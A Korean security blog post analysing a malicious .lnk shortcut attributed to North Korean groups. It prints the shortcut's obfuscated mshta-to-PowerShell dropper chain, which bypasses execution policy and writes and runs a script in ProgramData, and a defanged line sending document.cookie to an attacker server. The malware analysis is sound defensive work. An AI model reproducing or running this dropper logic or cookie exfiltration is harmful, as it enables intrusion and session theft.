소프트웨어 팁/보안 및 분석

김수키(Kimsuky) 인지 코니(Konni) 인지 모르는 악성코드-.lnk(2024.2.18)

Sakai 2025. 3. 3. 00:00

오늘은 김수키(Kimsuky) 인지 코니(Konni) 인지 모르는 악성코드-.lnk(2024.2.18) 인지 모르겠지만, 해당 악성코드에 분석을 해보겠습니다.
파일명:. lnk
사이즈:1 MB
MD5:3b80b5dcbb9266381eab0c98908f353a
SHA-1:f12ea90a8c45e018c2fa645d720d0b25bce46b5b
SHA-256:563a1cfd8788542cc19db91a52b87540e9ff2512f3e78c855ffa243b0b530a5d

악성코드에 포함된 파워셀 코드
악성코드에 포함된 파워셀 코드

악성코드에 포함된 코드

StringData
{
    namestring: not present
    relativepath: ..\..\..\Windows\System32\mshta(.)exe
    workingdir: not present
    commandlinearguments: javascript:v=" -Encoding B(y)te;sc ";s="a=new Ac"+"t
    iveXObject('WSc"(+)"ript.Shell');a.Run(c,0,true);close();";c="powe"(+)"rsh
    ell -ep bypass -c $t=0x1(b)cc;$k = Get-Ch(i)ldItem *.lnk | where-object {$_
    .lengt(h) -eq $t} | Select-O(b)ject -Expand(P)roperty Name;if($k.count -eq
    0){$k=Get-Chil(d)Item $env:T"(+)"EMP\\*\\*.l"(+)"nk | where-object{$_.leng
    th -eq $t};};$w='c:\\programdata\\n.ps1';$f=gc $k"+v+"$w ([byte[]]($f | s
    el"+"ect -Skip 0x0938)) -Force"+v+"c:\\programdat(a)\\b21725 0;po"(+)"wer
    sh"(+)"ell -ep bypass -f $w;";eval(s);
    iconlocation: .docx
}

악성코드 분석

1. 실행 과정 분석
mshta.exe를 통한 JavaScript 실행
스크립트가 사용하는 mshta.exe는 Windows의 기본 실행 파일로 HTML 기반의 애플리케이션(HTA 파일)을 실행하는 용도로 사용
하지만, 공격자들은 이를 악용하여 JavaScript 또는 VBScript를 통해 악성 코드 실행
2. JavaScript를 통한 PowerShell 실행
해당 WScript.Shell의 Run 메서드 를 사용하여 PowerShell 명령어(c)를 실행
close();를 사용하여 실행 후 즉시 종료하여 흔적을 남기지 않음
-ep bypass 옵션을 사용하여 PowerShell 실행 정책을 우회하고 악성 코드가 실행
3. 특정 크기의 LNK(바로 가기) 파일 검색
특정 크기(0x1BCC = 7116 바이트)의 .lnk 파일을 검색
현재 폴더에서 찾지 못하면 TEMP 폴더에서 다시 검색 
4.LNK 파일에서 데이터 추출
LNK 파일에서 특정 부분(2360바이트 이후)을 읽어 n.ps1 파일로 저장
5. 최종 페이로드 실행
C:\ProgramData\n.ps1 에 저장된 악성 PowerShell 스크립트를 실행
k.zip에서는 다음과 같은 파일들이 포함돼 있습니다.

악성코드 가 생성한 파일
악성코드 가 생성한 파일

38243.tmp
N9371.js
nD9327.tmp
tt8.tmp
입니다.

N9371.js 분석

eval()을 통해 악성 코드가 실행
1. 분석
Smocnnvub는 Wunn52355()을 호출하는 함수(즉 Wunn52355()의 값을 가져옴)
agent는 Wunn52355()의 결과로 반환되는 배열을 저장
while(!![])은 무한 루프를 의미하며 (!![]는 항상 true)
k 값을 계산하여 특정 조건(k === Pyd91743)이 만족하면 break; 로 루프 종료
배열(agent)의 문자열을 변조하여 재구성하고 eval()로 실행
2. 난독화 해제: LLk938712 함수
분석  
Wunn52355()에서 반환된 배열을 참조하여 특정 인덱스 값을 가져옴
인덱스 계산 방식(tm-0x106)을 사용하여 난독화된 문자열을 복원
Wunn52355()에서 난독화된 문자열을 가져와 특정 순서로 변형하는 역할
3.eval()을 이용한 최종 실행
Wunn52355()에서 반환된 문자열 배열을 다시 불러옴
숫자 부분(\d+)을 제외한 문자열을 조합하여 최종적으로 eval(res) 실행
최종적으로 Wunn52355()에서 얻은 문자열을 복호화하여 eval()로 실행하는 형태
4. 최종 페이로드 복호화 (Wunn52355())
CZyy7736 배열에는 난독화된 명령어 문자열이 포함됨
0738Xoew\"r\"+hslepl\"+\""->"oewr"+hslepl+""->"PowerShell"등으로 변환
3. C2 서버 분석
이 코드에서 C2(Command & Control) 서버를 찾으려고 복호화된 문자열을 추출
원격 서버에서 추가 악성 코드 다운로드

악성코드 에 포함된 자바스크립트
악성코드 에 포함된 자바스크립트

1.쿠키 및 세션 탈취
fetch("hxxp://attackers-server(.)com/steal(.)php?cookie=" (+) document.cookie);
사용자 세션 정보를 공격자 서버로 전송
2.데이터 전송
브라우저에서 탈취한 정보를 특정 서버로 전송
해당 코드의 C2 서버는 Wunn52355() 배열에서 복호화된 문자열 안에 포함
결론 해당 악성코드는 브라우저 스틸러 물론 tmp 에도 난독화 해 놓았음 사람 짜증 나게 해놓았음
C2 서버 통신: 특정 IP 또는 도메인과 통신하여 명령 수신
정보 탈취 브라우저 쿠키, 크리덴셜, 시스템 정보 수집
원격 코드 실행 추가 악성 스크립트 다운로드 및 실행
파일 감염 기존 PowerShell 또는 시스템 파일 변조
권한 상승 UAC 우회, runas, Invoke-ReflectivePEInjection
백도어 설치: 지속적인 원격 제어 가능
일단 해당 2024.2.18 에 발견되었을 때 실행했을 때 생성되는 파일과 현재 생성되는 파일은 달라져 있는 것 같습니다.
아무튼, 브라우저에 있는 쿠키 등을 훔치려고 만들어진 것 같음
이렇게 주적인 우리 북한? 에서 만든 악성코드를 분석을 해보았습니다.

그리드형